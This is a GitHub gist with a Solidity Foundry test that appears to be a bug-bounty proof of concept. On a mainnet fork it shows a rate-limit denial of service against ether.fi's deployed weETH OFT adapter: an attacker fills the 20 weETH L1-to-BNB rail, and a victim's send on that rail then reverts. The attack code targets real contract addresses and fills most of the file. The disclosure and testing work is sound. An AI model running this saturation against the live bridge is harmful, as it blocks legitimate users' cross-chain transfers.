Skip to content

Instantly share code, notes, and snippets.

@CharaD7
Created September 16, 2026 21:05
Show Gist options
  • Select an option

  • Save CharaD7/77a5d4bad1cd9920399fa6a3ddcad1bc to your computer and use it in GitHub Desktop.

Select an option

Save CharaD7/77a5d4bad1cd9920399fa6a3ddcad1bc to your computer and use it in GitHub Desktop.
weETH OFT pairwise rate-limit rail-saturation DoS (live mainnet fork PoC, ether.fi/Immunefi)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import { Test } from "forge-std/Test.sol";
import { WeEthAbi } from "../src/WeEthAbi.sol";
/// @notice Live mainnet-fork proof of the per-rail rate-limit DoS on the
/// deployed L1 weETH OFT adapter (EtherFiOFTAdapterUpgradeable).
/// Rail L1->BNB (eid 30102): limit 20 weETH / 14400s, observed live.
contract RailDoSTest is Test {
using WeEthAbi for address;
address constant L1_ADAPTER = 0xcd2eb13D6831d4602D80E5db9230A57596CDCA63;
address constant WEETH = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;
uint32 constant BNB_EID = 30102;
uint32 constant AVX_EID = 30106;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {}
function _approve(address who, uint256 amt) internal {
vm.startPrank(who);
(bool ok,) = WEETH.call(abi.encodeWithSignature("approve(address,uint256)", L1_ADAPTER, amt));
vm.stopPrank();
require(ok, "approve failed");
}
function _fillRail(uint32 eid) internal {
(,, uint256 limit, uint256 window) = L1_ADAPTER.outbound(eid);
assertEq(limit, 20e18, "rail limit != 20 weETH");
assertEq(window, 14400, "rail window != 4h");
deal(WEETH, attacker, limit);
_approve(attacker, limit);
vm.startPrank(attacker);
WeEthAbi.MessagingFee memory fee = WeEthAbi.quote(
L1_ADAPTER,
WeEthAbi.SendParam(eid, bytes32(uint256(uint160(attacker))), limit, limit, "", "", "")
);
vm.deal(attacker, 1 ether + fee.nativeFee);
bool ok;
(ok, ) = WeEthAbi.send(
L1_ADAPTER,
WeEthAbi.SendParam(eid, bytes32(uint256(uint160(attacker))), limit, limit, "", "", ""),
fee,
attacker
);
vm.stopPrank();
require(ok, "attacker fill send failed");
}
function test_attacker_zeroes_Bnb_rail_then_user_blocked() public {
// sanity: budget is full before attack
(, uint256 beforeSend) = WeEthAbi.canSendPublic(L1_ADAPTER, BNB_EID);
assertGt(beforeSend, 0, "rail already saturated");
_fillRail(BNB_EID);
(, uint256 afterSend) = WeEthAbi.canSendPublic(L1_ADAPTER, BNB_EID);
assertEq(afterSend, 0, "rail budget not zeroed by 20 weETH fill");
// victim's 1 weETH send on the same rail now reverts with the exact
// OutboundRateLimitExceeded() selector (0x24292aa7), not a generic failure.
deal(WEETH, victim, 1e18);
_approve(victim, 1e18);
vm.startPrank(victim);
WeEthAbi.MessagingFee memory fee = WeEthAbi.quote(
L1_ADAPTER,
WeEthAbi.SendParam(BNB_EID, bytes32(uint256(uint160(victim))), 1e18, 1e18, "", "", "")
);
vm.deal(victim, 1 ether + fee.nativeFee);
(bool ok, bytes memory ret) = WeEthAbi.send(
L1_ADAPTER,
WeEthAbi.SendParam(BNB_EID, bytes32(uint256(uint160(victim))), 1e18, 1e18, "", "", ""),
fee,
victim
);
vm.stopPrank();
assertFalse(ok, "victim send unexpectedly succeeded on saturated rail");
// revert reason must be the pairwise rate limiter error
require(ret.length >= 4, "no revert data");
bytes4 sel = bytes4(ret);
assertEq(sel, bytes4(0x24292aa7), "expected OutboundRateLimitExceeded()");
}
function test_Avx_rail_equally_limited_live() public {
(,, uint256 limit,) = L1_ADAPTER.outbound(AVX_EID);
assertEq(limit, 20e18, "Avax rail limit != 20 weETH");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment